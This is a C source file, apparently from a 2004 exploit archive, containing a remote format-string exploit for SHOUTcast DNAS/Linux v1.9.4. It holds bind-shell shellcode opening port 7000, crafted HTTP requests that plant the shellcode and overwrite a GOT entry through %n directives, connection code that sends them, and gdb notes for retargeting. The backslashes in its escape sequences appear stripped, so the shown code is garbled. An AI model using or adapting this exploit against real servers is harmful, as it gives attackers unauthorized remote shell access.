/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit           */
/* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org)  */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0)                      */
/* When exploit only crash SHOUTcast we should calculate new address: */
/*                                                                    */
/* bash-2.05b$ gdb sc_serv core                                       */
/* ...                                                                */
/* (gdb) x/x $edi                                                     */
/* 0xbe462270:     0x78257825                                         */
/* (gdb) x/x 0xbe462270-996                                           */
/* 0xbe461e8c:     0x5050c031                                         */
/*                                                                    */
/* 0xbe461e8c - This is our shellcode addr                            */
/*                                                                    */
/* Now we "only" must change format string code in req2 :-)           */

#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* Default SHOUTcast port */
#define PORT 8000

char shellcode[] =  //bindshellcode (port 7000)
     "x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
     "xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
     "x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
     "x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
     "xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
     "x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
     "x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
     "x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";

int main(int argc, char *argv[])
{
     int sock;
     char *host;
     struct hostent *h;
     struct sockaddr_in dest;

     char req1[1024] = "GET /content/AA"
     /* sprintf GOT addr */
     "x3cx49x06x08x3dx49x06x08x3ex49x06x08x3fx49x06x08";

     strcat(req1, shellcode);
     strcat(req1, ".mp3 HTTP/1.0rnrn");

     /* We cannot use %numberx and %number$n (filtered) */
     /* 0xbf3feee0 -  shellcode addr on slackware 9.1   */
     char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
     " HTTP/1.0rnrn";

     printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.orgn");
     if(argc < 2)
     {
           printf("Usage: %s <host>n", argv[0]);
           exit(0);
     }

     host = argv[1];

     if(!(h = gethostbyname(host)))
     {
           fprintf(stderr, "Cannot get IP of %s, %s!n", host, strerror(errno));
           exit(-1);
     }

     sock = socket(PF_INET, SOCK_STREAM, 0);

     dest.sin_addr=*((struct in_addr*)h->h_addr);
     dest.sin_family = PF_INET;
     dest.sin_port = htons(PORT);

     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!n", host, strerror(errno));
           exit(-1);
     }

     printf("[*] Sending first request ...n");
     write(sock, req1, strlen(req1));

     close(sock);

     sock = socket(PF_INET, SOCK_STREAM, 0);

     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!n", host, strerror(errno));
           exit(-1);
     }

     printf("[*] Sending second request ...n");
     write(sock, req2, strlen(req2));

     close(sock);

     printf("[*] Try telnet %s 7000 :)n", host);

     return 0;
}

// www.Syue.com [2004-12-23]